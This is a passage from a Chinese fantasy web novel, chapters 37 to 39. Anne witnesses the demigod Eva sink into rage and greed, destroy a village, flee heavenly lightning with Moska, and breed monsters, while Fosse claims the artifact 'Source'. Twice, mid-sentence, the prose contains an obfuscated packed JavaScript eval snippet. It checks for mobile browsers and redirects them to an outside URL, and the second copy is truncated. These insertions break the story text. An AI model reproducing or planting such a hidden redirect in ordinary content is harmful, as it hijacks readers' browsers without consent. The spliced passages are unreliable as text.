其实,这些情绪已经比之前好很多,毕竟那个真实的人生,包含太多苦痛。如今的六原罪,不过是循序渐进的折磨。 但每一次负面情绪的产生,都会让安妮联想到那个伊娃的人生,身为当事人的伊娃就更加不可能幸免了。 因此,就算伊娃过去感受不到那些情绪,现在也能感受到了。 就像查瑞尔的星月牌,过去的伊娃不是没帮她巡逻过,就算连续几天,也只会抱怨一句查瑞尔贪玩。 可是如今,她会联想到那个世界的男女,感受到偏心和不公。 这就是现实的威力。 安妮只能看着伊娃一点点沦陷。 她什么都做不了。 就算可以和伊娃对话,她能做的也只有告诉伊娃真相,这些负面情绪还是存在,谁也净化不了。 难怪当初弗斯的第一选择是连同着负面情绪一起把伊娃封印掉,从未想过帮她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296913|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净化。 三天时间一晃而过,伊娃愈发难受,安妮越发焦急。 终于到了归还星月牌的日子,也是伊娃再次见到缪斯的日子。 是的,这三天伊娃从未看见过缪斯三人。 此刻的缪斯神情更冷淡了,仿佛千年不化的寒冰,眼神令人畏惧。但是伊娃还是在归还星月牌的那一刻鼓起勇气问出声,就像梦境里的她鼓起勇气质疑父亲的偏心:“可以一起出去坐坐吗?” “什么?” 缪斯的声音还是那么空灵庄严,仿佛和梦境里的话父亲重合。 “就是……出去走走,坐坐。我们之前也一起过,不是吗?我最近心情……” “不去。” 伊娃的话戛然而止。 她好久都说不出话来,就像面对父亲“家族”、“团体”的说辞说不出话来。 “没事了吗?没事的话我先走了。” 格雷斯的情况越发不妙,她需要去帮忙。 “等等!你们这两天,是不是有什么事……”瞒着我? 最后三个字伊娃没说,但大家都知道。听见伊娃的话,安妮眼前一亮。 她终于察觉到什么了吗?终于可以真相大白了吗? 缪斯先是一怔,但随后,却在安妮期盼的眼神中摇头,冷道:“没有。” “胡说,你们之前明明不会这样的!你们一定是有什么事情对不对?需要我帮忙吗?我……” “够了,我说没有。” 缪斯打断伊娃,不是歇斯底里的呐喊,反倒很平静。这大概就是她的风格,总是处变不惊——这也是为什么查瑞尔让她来面对伊娃。 但是这样的性格也有一点坏处,那就是容易让人误会,觉得她态度冷淡甚至冷漠。 过去的查瑞尔习惯了,不怎么和缪斯相处的伊娃却没习惯。 她尬笑,还在挣扎:“我们以前不是这样的……” 明明你们也会关心我的。 “过几天再说吧,我们最近都有事,先走了。你要是觉得闲得慌,可以继续帮我们巡逻。” 缪斯权当听不见伊娃的呢喃,把星月牌交给伊娃。 这是她第一次说这么多话,伊娃却只觉得讽刺。 她转身,却被伊娃抓住衣袖。 “有什么事,我们四个人就不能坐在一起好好聊聊吗?非要闹到这个地步吗?凭什么有事也是你们三个一起面对,我就可有可无吗?还是你们觉得我呼之即来挥之即去?” 伊娃终于哭喊出声,被抓住的缪斯有一瞬间怔愣。 但随后,她想起了查瑞尔的话。 总要有个人为她们收尸。 神圣光明的房间里,三个半神面对束手无策的黑暗,早已预料到结局。而她们唯一能做的,就是保全下最后的种子。 看见沉默的缪斯,伊娃回过神来,有些慌乱:“抱歉,我不是这个意思,我只是……” 我知道的,我们都只是被黑暗影响了,被那些负面情绪影响了。 缪斯看着伊娃,眼神坚定:“不,你说得对。” ? “你就是,呼之即来、挥之即去。所以,现在,你、可以,走了。” 最后一句话,被缪斯分成好几个部分,那些情绪仿佛一根根鱼刺,被艰难咽下。 伊娃的失落、伊娃的伤心,缪斯都预想得到,并且感同身受。 安妮也感同身受。 她仿佛一个局外人,站在旁边,看着伊娃与三神决裂。但又仿佛是伊娃的一部分,被嫉妒生煎冷泡,被心中的挚友抛弃。 最后,伊娃还是走了,带着星月牌。 回到断崖。 坐在断崖上,伊娃遥望星空,眼中,是被刺破的光亮。 安妮以为幻境会再次出现,但是没有。 她等了许久,看见的,只是伊娃愤恨地将手边一株植物拔起来。草茎断裂,根系连同土壤被留在原地,手上,是焉巴巴的尸体。 伊娃好像卡壳,停着不知道在想什么。 安妮只知道下一秒,她抽出了腰间的审判巨剑。 漆黑的树丛中,一道冲击波进入。剧烈的爆炸使火光四射,豪猪似乎被灼烧,发出痛苦的哀嚎。 窸窸窣窣的声音响起,是幸存的小动物们在逃跑。丛林深处乌鸦一遍遍鸣叫,有什么飞出,翅膀在扑棱。 又是一道冲击波! “啊!” “为什么!为什么!” “去死!去死!” 半神愤怒的咆哮如同一场飓风,将断崖彻底拉入混乱的深渊。 不断传来飞禽走兽的哀嚎,眼前,鲜血与肉块交织。 审判巨剑之下,冲击波所到之处,是狂轰滥炸的回响。死亡打破深夜的宁静,不祥笼罩在断崖。 伊娃为中心,不断飞出强大的光波。犹如即时爆炸的炸弹,将一切崩飞,还有噼里啪啦的火焰…… 但是看见混乱的一幕,看见动物们濒死的眼神,看见凌乱的尸体,安妮竟然感觉到一丝快慰。 她想,伊娃应该也是快慰的,否则不会继续这样。 挽救树木生命的辛诺仿佛就在眼前,明明此刻和伊娃形成了明显的对比,安妮却感受不到对伊娃的厌恶。 甚至没有责备。 她只是在想,原来,愤怒不需要被反弹,只需要被转移。 她只是在想,难怪,年幼的伊娃会被迁怒。 37.37 伊娃再次醒来,周围一片狼藉。 是的,醒来,明明没有睡觉,她却仿佛大梦一场。刚才的自己恍如在梦里,但所做的一切还那么清晰。 她记得自己挥剑破坏了丛林,记得自己在断崖上失控,记得自己做了什么——周围就是证据。 一直发呆了很久很久,她才再次坐下。 这次,手边没有了任人欺负的杂草。 伊娃忽然觉得很累。 她其实可以用星月牌弥补的,星辰具有疗愈的作用,而查瑞尔的星月牌,充满星辰的力量。 但她知道,原来的树木回不来,原来的猪牛鸡兔回不来,原来的什么东西,都回不来了。 她和三神的过往,也回不来。 既如此,还有什么弥补的必要吗? 一直待到了晨曦初露,伊娃才感觉冻僵的身体回温一点。她站起身,再次飞回星月城。 只是没想到,这次,查瑞尔应然就在门口。 她的房间门口,明显是等她的。 伊娃不知为何,有些心慌。她拿着星月牌,深呼吸,走到查瑞尔面前。 “找我什么事?” “缪斯不太会和人交流,她说了什么过分的话,我给你道歉!那个,我们最近确实有些忙,很多事情需要你帮助,希望你理解……” 不得不说,查瑞尔比缪斯好交流很多。伊娃回想了一下,过去好像也确实,她们交流比较多,缪斯很少说话。 最近是她和缪斯见面最频繁的日子。 “没关系,我知道她不是那个意思。” “那就好,我还有事,先走啦!” 得到伊娃的回答,查瑞尔带着笑安心离开。恍惚间,安妮仿佛回到了约德尔城,看着小小的约德尔士兵和家人告别。 也是这样轻松,带着微笑,仿佛第二天就能回来。 可她知道,回不来了。 什么都回不来了。 查瑞尔以为简单的道歉就能得到伊娃的理解,但安妮知道,伊娃的回答不过是为了让她安心。从她决定留下伊娃的那一刻,她们之间,就已经划出一道鸿沟。 但这样也好吧,她看明白了。 这样,起码有个人给她们收尸。 三神彻底消失在伊娃的生活里,她们没发现伊娃的罪行,大概也算因祸得福。 伊娃的幻境还在继续,恐惧也在蔓延着。安妮总是看见她如同惊弓之鸟般弹起,又放松下来。 她知道,因为在光明学院的那段日子,她也孤单过。 但伊娃还多个什么——她听到“屠杀”就会神情紧绷,看见红色就会眉头紧蹙,擦拭审判巨剑的时候,还会蜷缩手指,仿佛摸到了什么。 伴随的还有越来越多的幻境,有时候走着走着,她都会停下。而路的前方,不知何时,景象已变。 每一次镜像的凭空出现,都昭示着格雷斯的又一次虚弱。 除了嫉妒,伊娃已经体会到了愤怒,别的还会远吗? 安妮很担心。 还有那次发泄,真的不会有下一次吗?安妮不知道。 转变发生在一个下午。 格雷斯终于出现了。 这是伊娃自第二场梦境以后,第一次看见格雷斯。第一次做梦的时候,问话的她还神采奕奕,此刻却格外疲惫不堪。 格雷斯身边,是眉头紧皱的查瑞尔。 伊娃还没来得及问话,格雷斯抢先道:“我刚刚在暴风平原的一座小山上发现了死气,那里之前应该发生了什么。” 不算长的话,却仿佛用尽了格雷斯的力气。她揉着太阳穴,语气疲惫。 查瑞尔看向伊娃。 毕竟这几天晚上巡逻的,都是她。 安妮不知为何,竟然有种如释重负的感觉。 被发现了,也好。 伊娃慌了,但还是静下心神,试图蒙混过关:“我最近没去暴风平原那边,没注意。” 说是巡逻,但早上打开真相之眼检查世界只是格雷斯的任务,晚上巡逻不过是查瑞尔自发提出的,因此可做可不做。 她没去到那个地方,甚至没巡逻,都不会有人说什么。 因此,伊娃的说辞查瑞尔立刻信了。她搀扶着格雷斯,尬笑:“看吧,我就说辛诺什么也不知道,我叫她去查。” “让她查?贼喊捉贼吗?还是老鼠守米仓?” 格雷斯的声音很轻,但在场的人都听到了。 明明知道事情确实是伊娃做的,安妮此刻,心中却涌上一股说不清道不明的情绪——好像是委屈。 委屈什么?为什么委屈?又为谁感到委屈? 这个答案好像不言而喻。 她还不知道为什么会委屈,伊娃说话了:“是,是我。” 她低着头,看不清神情,但脊背还是挺着,站得笔直:“但那又如何?” 她抬头,眼中,是理直气壮的坚定。 “我已经被负面情绪折磨得快死了!我每天的梦境都是黑暗,可就算不睡觉,也会有幻境!我甚至分不清幻象和现实!” “你知道吗?我遇到的世界真实得好可怕!人的身体不能蒸发秽气,男女还有生理上的区分,只有人,而人是一个巨大的欲望!” “我每天在两个世界穿梭,我又弱小又强大,又可怜又幸福,我告诉自己我是辛诺,可有人告诉我我是伊娃,那个邪恶的代名词!” “我杀了它们,但我愿意吗?我也是受害者,我比谁都痛苦!这段时间,我害怕被发现,害怕你们不理解。我想过弥补,可是我做不到,我做不到啊!” 歇斯底里的呐喊,仿佛回到了那天。 但格雷斯的眼神依旧冷淡,仿佛在看一个不懂事的孩子。她的语气轻柔而坚定:“我们已经很累了,你就不能省心一点吗?” 安妮知道,一切都是负面情绪的影响,格雷斯、查瑞尔和缪斯已经疲于应付那些黑暗,如今还要面对伊娃的罪恶,她们很累。 但是伊娃不累吗? 谁都累。 “不就是一些动物植物,有什么好心疼的?我才是你们的朋友,不是吗?我没错啊,我已经很克制了,我……” “够了。” 这次,打断伊娃的是查瑞尔,她已经泪流满面。 “辛诺,你曾经说过,万物有灵、众生平等,你忘了吗?” 安妮没忘。 第二个辛诺,真正的辛诺,也这样说过,只是她做到了。 伊娃没回答,她看着格雷斯和查瑞尔再次离开,那背影似乎都写满了失望。 她再次飞走了。 这次,没有到地面,而是高高的云层之上。伊娃拿着星月牌,地面的风吹草动还是看得清清楚楚。 仿佛神明。 她看见脚下的村落里,有人似乎看见了自己。那人先是飞奔出来,然后大声叫着同伴,越来越多的人开始聚集…… 按理说,半神是不能让人知道存在的,但伊娃却大大方方任人观赏,甚至任由他们评头论足。 安妮不知为何,心中升起慌乱。 变故发生在一瞬间,伊娃的审判巨剑飞出,划破面前的天空,划出一道冲击波。 直达脚下的村落。 “砰!” “轰隆!” 是村庄被毁灭的声音。 “啊!救命啊!救命啊!” “神发怒了,是神发怒了!” “快跑啊!” 此起彼伏的叫嚷从脚下传来,伊娃看着他们,一句呢喃升起:“蝼蚁,也会哀嚎吗?” 又是一道冲击波,彻底将脚下化为废墟。 安妮听见了,也看见了。 就在这时,一道视线传来。那么具有穿透力,让人心生警惕。 出神的伊娃没察觉,但是安妮察觉到了。 那是一个全然陌生的孩童,安妮感受不到一点熟悉。她只是从这眼神中看到了过去的自己,一样愤恨、一样不甘。 这是后患。 “叮……嗡……” 是清音琴。 安妮遥望远方,琴声从熟悉的星月城传来,婉转悠扬,似乎在为村子的人哀悼。 脚下的村子已经归于寂静,伊娃看了一眼,朝星月城飞去。 星月城没有人,谁都没有。 伊娃不着痕迹地松了口气,擦拭审判巨剑。 生活仿佛回到了从前,但这次伊娃连担惊受怕都没有了。她静静地等待着,等待那一天的到来。 安妮也一起等待着。 终于,格雷斯出现了。 这次的她显得更有气势,眼神也更加犀利。她看着伊娃的审判巨剑,仿佛一个审判罪犯的法官。 身后,查瑞尔和缪斯一左一右,神情是一样的肃穆。 伊娃指尖轻颤,却还是假装若无其事,询问:“有事?” 这次的抵触,比之前更明显。 格雷斯依然平静:“屠村的,是你。” “证据?” 伊娃勾唇,仿佛在期待这一刻的到来。 “还需要证据吗?” 是问话,也是陈述。 “那你们要怎么做?让我偿命吗?” 伊娃觉得,自己恍惚间仿佛变成了那个世界的特产:瘟疫体。照顾她、接触她,只会得到疾病和难受;杀了她、丢弃她,她照样会肆无忌惮地传染,无人幸免。 而此刻,三神面对她,只有束手无策,因为她们没接触过那个世界。 就在伊娃和三人对峙着的时候,一道惊雷忽然划破天际,炸响在耳边。 安妮惊惧地抬头,星月城上方不知何时,竟然划过一道金黄! 是熟悉的颜色,熟悉的气势。 “轰隆!” 粗如手臂的闪电再次降落,不偏不倚,打在伊娃身上。 “辛诺!” 查瑞尔哭喊出声,安妮看见,格雷斯和缪斯也不着痕迹地往前了一步。 但是伊娃没看见。 她只知道,自己屡次封闭空间裂缝的时候天道不在,自己被负面情绪感染的时候天道不在,自己杀戮发泄却只是更加难受的时候天道不在。如今,天道倒是来了。 “呵,我们也不过是蝼蚁。” “轰隆!” 又是一道惊雷,伊娃赶紧闪躲开,支起一个屏障。 但这个保护罩在下一道雷的威势下化为灰烬。 “辛诺!收手吧!” 查瑞尔喊完,回答她的是伊娃的冷笑:“你觉得,天道会放过我吗?” “会的……” 可是谁又能保证? 就像伊娃所说的,天道面前,她们也不过是蝼蚁。束手就擒,就能换得原谅吗? 未必。 而她们放弃反抗的代价,是生命。 “后会无期。” 伊娃最后一句话,终于和格雷斯一样,轻柔而坚定。 她的身影终于消失在星月城。 安妮知道,这一切不是三神的本愿,伊娃也不过是受害者。 而负面情绪被散播,空间裂缝产生,天道何尝不是疲于奔命的那个? 要怪,或许要怪那个世界,可那不过是存在的真相,那个世界的人甚至还在经受一切,她们又如何能怪? 世界上最大的悲剧,是无人创造的。 她最后还是跟着伊娃下了凡,和她一起到达灾难丛林的内部。 漆黑一片,没有任何魔兽。 但安妮就是确定,这里是灾难丛林。 天道还在降下雷电,而随着每一次金黄降落,对森林都是一次毁灭性打击。天道没有辛诺的怜悯之心,每一次出手都显得毫不留情。 伊娃就这样穿梭在丛林里,但是她不像过去的安妮,有琪柯的帮助,本身在森林的赶路速度也很快,不一会儿,天道的追杀就让她开始感到力不从心。 就在伊娃被又一道天雷劈得慌不择路时,一个身影出现。 “跟我走。” 熟悉的声音让安妮一顿,她循着声音看去,果然,是莫斯卡。 此时的莫斯卡还有些稚嫩,但已经穿着紫黑色的长袍,努力显得挺拔俊逸。她紫黑色的眼眸中是明显的兴奋,安妮很少看到莫斯卡这样的情绪外露。 她牵着伊娃,快速往一个方向跑去。不一会儿,她们便到了一棵大树底下。这棵树盘根错节,看得出生长了很久,周围几乎没有植物和它争抢养分。 而随着天道的雷劈降下,老树也禁不住发出哀鸣。好在,躲下面的伊娃和莫斯卡是安全了。 过了许久,天道的雷总算停下。 不知道是时间够久了不想再维持,还是觉得伊娃在这样的攻击下活不了。 总之,结束了。 “结束了。” 莫斯卡说完,伊娃疑惑地看向她:“你为什么要帮我?” 两个女人,一个金黄铠甲,一个紫黑长袍,怎么看都不是一路人。但莫斯卡只是笑笑,转移话题:“这棵老树至少生长了几百年,但刚才为了给我们挡下天雷,它应该是彻底死亡了。” “所以呢?” 伊娃问完,莫斯卡捂嘴:“这就是我帮你的原因。” 什么原因? 伊娃没听懂,安妮 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钱啊,过去自己嗤之以鼻,从未担心过的东西。这个由人类发明,却困住了人类一辈子的东西。 哪怕在祖神村稍微体验过贫穷的困苦,也是那么短暂而虚幻。没有生存的威胁,没有疾病的痛苦,钱显得那么微不足道。 可是在另一个世界,它是伊娃的米饭,是伊娃的学费,是伊娃的生命。 她是父亲大热天在灶台前滴落的汗水,是爷爷寒冬腊月傍晚凌晨看守大门的艰辛,是奶奶弓腰驼背扫地拖地龟裂的皮肤。 她看着父亲一次次为了更多的钱做生意,反而失去更多的钱;她看着爷爷奶奶为了一点钱拼命工作,对自己的祝福永远是“发财”。 她不想贪婪的,可是她想要钱。 哪怕只是一点钱,不需要太多,只要能够支付学费保险生活费,换车换房换生活,让爷爷奶奶安心颐养天年,还能预防疾病和灾难的降临…… 她何尝不知道这是贪婪,可是,她又怎么能不贪婪? 场景再次变了。 原来,有了钱后,还会担心失去。 于是投资,发展人脉,和大人物交好。 可以偷工减料,可以不交罚款,可以少交税,可以从别人身上剥削更多,可以成为压榨别人的那个……可以做很多,曾经自己做不到,却想做的事。 做很多自己知道不合规,却想做的事。 可以在应该工作的时候睡觉,可以在工作犯错的时候甩锅,可以在不想工作的时候不工作。 害人不用受惩罚,杀人不用偿命,可以吃很多普通人吃不到的东西,收藏很多普通人见都没见过的东西。 只需要一点点权。 钱,其实稍微模糊一点,就是权。 安妮看见,一个国家因为有钱没有力量守护而被烧杀劫掠,财宝被洗劫,留下的只有鲜血。 还来不及悲悯它的遭遇,下一刻这里再次生长出来的人又为了钱,把先辈好不容易守护下来的宝物悄悄卖掉,甚至杀死知情的人…… 贪婪,在这一刻变得无比清晰。 “喂!” “喂!” “嗯?” 伊娃回过神,才发现,幻象消失了,面前是去而复返的莫斯卡。 手里还有一颗水灵灵的果子。 “这果子灵气充足,能维持三个月的生机,吃吧。” 她随便将果子丢给伊娃,仿佛着只是微不足道的东西。 而才对“钱”有认知的伊娃怎么会不知道这个灵果的珍贵?她询问:“你……怎么做到的?” 贫瘠的原始森林里为什么会有这样稀有的灵果? “只要有钱就行了啊。”莫斯卡无所谓地摆摆手,坐在伊娃身边,“你还需要什么,我都可以给你拿。” “不用了,谢谢。” 伊娃三两下吃完果子,清甜脆爽的口感在口腔蔓延,她才感受到一点真实。 “对了,你叫什么名字?” “辛……”伊娃说到一半,忽然顿住。 她眨眨眼,勾唇:“伊娃。” 旁边,站着的安妮怔愣住。即使知道她迟早会改名,之前还觉得她就应该把这个名字还给那个人,但此刻,仍旧心中一痛。 “伊娃?我果然没有看错你。” 莫斯卡微笑,似乎很满意这个名字。安妮想,她应该是知道这个名字普遍意义是“邪恶”的。 “就是……你的外观和你的名字不太像。” 莫斯卡说完,安妮立刻看向伊娃。 这是她第一次仔仔细细地观察,而伊娃脸上,那道紫黑色的符文在白皙的面庞上格外显眼。但与面容不同的是女人身着的白金铠甲,仿佛神圣不可侵犯。 她好像知道为什么伊娃之前让她去掉脸上的疤痕了。 “那你帮我准备点别的衣服吧,这身有点导电。” 伊娃半开玩笑,莫斯卡依言点头。 安妮不知道应该怎么评价伊娃后来暴露的装束,如果那是莫斯卡的审美,她只能说,找到了莫斯卡的短处。 “你不回去吗?灾难丛林好像除了动物什么都没有吧?” 见莫斯卡点头了却不离开,伊娃询问。 而莫斯卡微微一笑:“不合群,懒得回去。” 天生向往黑暗,永远保持欺骗,明面上是朋友,实际只想把他们利用个干净。但那些人已经没有利用价值,她连撒谎都懒得。 莫斯卡的回答轻描淡写,这次稍微理解的是安妮。 她曾经大概也是这样不合群的。 所以她喜欢流连无妄森林,而莫斯卡也不离开灾难丛林。 伊娃对莫斯卡的去留不甚在意,她只是坐在被劈焦的树下,闭目,养神。 伊娃的伤其实不严重,她需要修养的,从来都是精神。但是空闲下来后,无法休息的,反而恰恰是精神。 就像现在,闭上眼,脑海里却全是嘈杂的呢喃。 “好好好成绩好就行,但也要注意身体,祝你也天天开心,发大财!” “奶奶给你找的药大家都说好,就算不能康复,延年益寿也行啊。” “这药吃一疗程我要工作十天呢,一定要按时吃。” “我以前看见你妈这个样子就心疼,你这么年轻,现在看你这样……” 还有父亲的叹息,爷爷的嘱咐,弟弟妹妹的关怀…… 钱,她需要钱。 不对…… 那个伊娃需要钱。 她需要的,是权。 38.38 伊娃再次醒来的时候,面前是兴奋的莫斯卡。 她不明白女人为什么这么高兴,但是安妮知道。 就在刚刚,伊娃的负面情绪再次释放了。 但是这次,她没有摧毁任何地方,没有任何咆哮,甚至堪称悄无声息。 她只是静静地,任由黑暗气息释放,感染了灾难丛林的动物。 形成了魔兽。 是的,魔兽。 安妮终于知道无尽战刃里那些形态各异的魔兽来自何处,那些灾难丛林的魔兽幻影来自何处。 它们的本体是动物,是有血有肉,可以被杀死的东西。 但是它们承载的负面情绪永生不灭,至少,现在找不到任何净化的途径。 也难怪,就算诸神之战以后,魔兽也依旧以幻影的形式存在于灾难丛林,每年形成兽潮。 而此刻,她最憎恨的魔兽,来自于她最亲近的人。 安妮看着伊娃在莫斯卡的解释下知道一切,看着她迅速接受魔兽之主的设定,看着她将手指向远处那个方向——约德尔城。 安妮第一次离开了伊娃,往她手指的方向飞去。 还没有靠近,就已经听见了。 很乱的声音。 最多的是撕心裂肺的哀嚎,有孩子的哭声,还有女人的惨叫,老人的呻吟,以及各种生离死别的痛苦。 然后是血肉被撕裂的声音,不知道是魔兽爪下的亡魂,还是奋起反抗的小约德尔人。 还有魔兽得意的嘶吼,浴血的兴奋。曾经安妮只觉得这毫无理智的耀武扬威很幼稚、恶心,此刻,心中却升起一股舒畅。 就让红色蔓延吧,让死亡更激烈些吧,反正,世界已经成那个样子了。 可为什么要破坏这个世界? 谁叫我看见了那个世界,感受了那个世界,你们却没有呢?我的痛苦,只能这样分享给你们了。 愧疚和得意混杂在一起,让安妮也不知道是该哭还是该笑了。 她只是疲惫地回到伊娃身边,看着她靠在树下休息。 这次是真的休息,眉头没有紧蹙,也没有偶尔的咬唇,全身放松下来,如同一片落叶。 魔兽的屠杀让她得到了缓解——安妮早该意识到的。 从伊娃屠村那一刻……或者更早,她毁坏断崖的那一刻。 但是安妮依旧没办法愤怒,没办法声讨。 她如果只是一个旁观者,就可以理直气壮地指责伊娃了,但是她不是。她也看到了那个世界的黑暗,感受到了那个小伊娃的痛苦。 她甚至不是当事人——伊娃也不是。 一切却真实得让人害怕。 就是如今,听见小伊娃脑海里,奶奶的声音,她还会不可抑制地,升起贪婪的念头。 那个世界,多她一个有钱人怎么了? 好在这个世界,多她一个有权人。 魔兽回来了。 不是失败了,是杀累了。 矮小的约德尔人就像待宰的羔羊,没有任何反抗能力。一直杀到尽兴,魔兽们才凯旋而归。 它们如同簇拥胡蛮一样簇拥着伊娃,但是比面对胡蛮多了一丝依赖。 因为对它们来说,伊娃是主人,更是母亲。 伊娃的负面情绪,现在还能帮它们疗伤强化,尽管这些增强微不足道。 看着如同孩子般守护在伊娃身边的魔兽,安妮如坠冰窖。她告诉自己,这一切都是黑暗的,可是温馨的场景就在眼前。 伊娃擦拭着魔兽的爪子,就像之前擦拭审判巨剑,温柔的眼神仿佛要把人溺毙。 那把剑还在星月城等待主人的归来,但再也没有被伊娃擦拭的那天了。 安妮深呼吸,确定伊娃短时间不会离开,走出了灾难丛林。 她也不知道应该去哪里了,但忽然,地面传来巨大的波动。 就像之前她收服寒焰,极寒冰原剧变一样,这个波动也十分巨大。安妮很轻松地,就发现剧变来自约德尔城的边缘。 靠近黑暗领域。 她迅速跑过去,只看见一个陌生又熟悉的面孔。 陌生在于,她第一时间觉得不认识,也确实不认识。 熟悉在于,她想起来,之前看见过:就在不久前,伊娃屠村的时候,那个眼神的来源。 是他,伊娃的后患。 放在少年面前的,还有一本安妮十分眼熟的书。这一次,她确信没有认错:是“源”。 源大陆的伴生神器,至强的力量来源。 光是分离出来的“启元录”,安妮就印象深刻,这本书的气息她绝对不会搞错。 所以,面前的人是弗斯? 夺舍了加丁的弗斯,原来长这样。 不知为何,想通一切的瞬间,安妮竟然没有丝毫仇恨的情绪,只是有一种“原来如此”的恍然大悟感。她不知道是不是这个空间的影响,让她越来越像一个单纯的旁观者。 只有靠近,才会共情。 现在的安妮也在尝试靠近弗斯,而她很快被一个幻境笼罩。 就像伊娃的梦境一样,她现在成了弗斯身边的灵魂。 这是一间教室,像极了光明学院的布置。 弗斯坐在靠窗的位置,穿着一身简单的校服,很明显是其中的学生。身边,孩子们激烈地讨论着。 “阿卡真的太帅了,报纸上刊登的消息,你们看到了吗?” “不不不罗埃德才是真的勇士,他可以生擒猛虎!” “就我喜欢洛米尔吗?优雅才是贵族气质的典范。” “没有骑士保护哪来的贵族?还优雅,活着就不错了。” “诶,弗斯,你觉得呢?你的偶像是谁?” 弗斯的肩膀被一撞,身边的同桌满脸好奇。 “啊啊?我……” 少年明显还没回过神,甚至他连这些孩子讨论的是谁都不知道。但这样的环节他倒是熟悉的,课间他也经常和同学谈天说地。 就在这时,钟声响起,老师走了进来。 开始上课了。 “翻开课本,第三十九页,今天我们要讲的英雄名叫弗斯,他曾经使用神器对抗魔兽,和邪恶的伊娃同归于尽,才有现在我们和平的生活……” 讲台上,老师在侃侃而谈。 而听到这个名字,底下有人噗嗤一笑。 紧接着是此起彼伏按捺不住的笑声,一直响亮到老师无法忽视,她只能无奈叹气:“安静安静,我知道你们在想什么。英雄的名字也许很多人使用,但他的光荣事迹无可替代。” “那又如何?除了我们,现在谁还记得他?” 一个孩子说完,另一个立马附和。 “就是就是,再过段时间我们都记不住了。” “胡说!他为了和平牺牲,我们怎么能不记住?”老师愤怒地说完,底下却一片嘲讽。 那个同桌的声音最大,因为他就在弗斯旁边。 “试卷都不考,谁记这个?” 还有此起彼伏的声音,仿佛也在耳边。 “就是就是,现在是书上的寥寥几句,以后说不定就没了。” “也就当时的人还记得他吧?我爷爷都没说过他了。” “活着的时候被人记住尊敬就行了,死后还那么多事,反正我不记。” 一句句呢喃仿佛钟声再度敲响,所有话语都揭露着一个事实:做英雄又如何,你不会被铭记。 但这确实是事实。 安妮还记得,伊娃学习的书本上,就有很多英雄为和平献出生命,但换来的只是书上寥寥几句话,有的甚至名字都没有。 这个世界又何尝不是这样,你要让她回想对源大陆有贡献的人,她也想不起来。 安妮好像知道了“源”要告诉弗斯什么。 但是弗斯的眼神仍旧坚定。 下一个幻境,是在一个会议桌上。 弗斯充当的只是一个小小的聆听者,甚至不需要在会议上说话。 他只是看着为首的人发言。 “弗斯已经彻底打败了伊娃,咱们不用再担心魔兽和黑暗了。” 一句话,概括了目前的情况。 “不错不错,就是他受了重伤,需要治疗的草药很多,找起来也需要很多钱,我们怎么办?” 一个微胖的中年男人问道。 他应该是管理后勤的那种官员,类似莫格莱斯的下属。 “你傻啊,治什么治?弗斯死了不就不需要治疗了?给他治疗多麻烦?” 一个贼眉鼠眼的瘦削男人跳出。 他的话很无情,却得到了很多人的支持。 安妮看见,被反驳的中年男人还在挣扎:“那个,这样对他是不是不太好?为了帮助弗斯,不少人给他捐了钱,他自己的钱未必付不起那些草药。” “就算付得起,有些草药必须要新鲜的,还很稀有,你去给他找那些草药吗?反正我不去,你觉得谁会去让谁去吧。” “我也不去,我家里还有事。” “我也去不了,我家孩子不能看不见爸爸。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他说完,弗斯还没回话,旁边人小声反驳:“但他好像真的受伤很严重……” 这句话是真的,弗斯满身伤痕,血流了一地,裸露出的肌肤还有不少青紫。 但是那人仍旧强势地拽着身边人:“真的又怎么样?又不是你打的!你送去医院干嘛?” “是魔兽打的,我是为了对抗魔兽……” 弗斯艰难解释。 “魔兽?那又怎样?你不会想说你就是弗斯吧?”少女得意环手,“就算真的是弗斯来了我们也不救,他活该要牺牲自己对抗魔兽,我们又没求他!” “那个,不好意思啊。” 被拽着的人推拒着,还是慢慢离开。 安妮就这样看着两人消失,恍惚间好像去到了伊娃的那个世界。 真可笑,两个不同的世界,竟然会遇到相同的问题。而关键是,这两个世界都没有解决方法,受迫害的都是伸出援手的人。 大概是在另一个世界已经感受过那种“被迫冷漠”,因此安妮看着弗斯一次次求援却一次次被无视,心中竟然毫无波澜。 最多旁边有人调侃他“换个地方碰瓷”的时候勉强生气了一下,但随后也是平静。 时间就这样一分一秒地过去,而弗斯也终于在绝望中闭上眼睛。 这一次,回到了现实。 弗斯面前还是那本摊开的书,而他背后,是一条平坦的路。 来这里发现和启动源,感受到世界的黑暗和成为英雄的悲哀,然后悄无声息地离开,应该就是所有人的流程吧。 但是弗斯没有。 他还是站在那本书面前,抚摸着书页,似乎在感受着什么。 安妮听见他的声音轻柔而坚定:“我要拯救这个世界,不为名不为利,不为现在不为将来,我只想拯救这个世界。” “我只是想,拯救这个世界!” 没有目的,就是单纯的想。 像艾德文特想探险,像卡伊特想成为女警,像珀森想喝好酒,像科瑞特想发明——都是兴趣爱好,却又是毕生追求。 而拯救世界,就是弗斯的兴趣爱好。 他的梦想。 安妮好像知道了,为什么“源”会认可他、会追随他。 这样单纯的守护大陆的欲望,正是源大陆所需要的。 结局就很好猜了。 没有任何动荡,甚至比安妮收服寒焰还要悄无声息:弗斯就这样收服了“源”,安静的。 安妮看着他将那本书缩小放在袖子里,也是悄无声息地,仿佛那不是源大陆最强的神器。 是不是莫斯卡将他骗到这里的已经不重要,总之,那个人终于被唤醒了内心最深处的渴望。 不知道,现在为了苟活疲于奔命的他,还记得不得自己最初的梦想。 39.39 安妮回到灾难丛林的时候,时间还没过去多久。 她猜想,那三个幻境应该只是冰山一角,弗斯其实还经历了很多。 不得不说,她有些佩服弗斯了,光是经历那三个幻境,她就觉得失望,不想继续下去,弗斯竟然能坚定如初。 当然,这大概也和她本就没有救世之心有关。 总之,伊娃还不知道一切——不过她很快就知道了。 因为弗斯要找伊娃谈判。 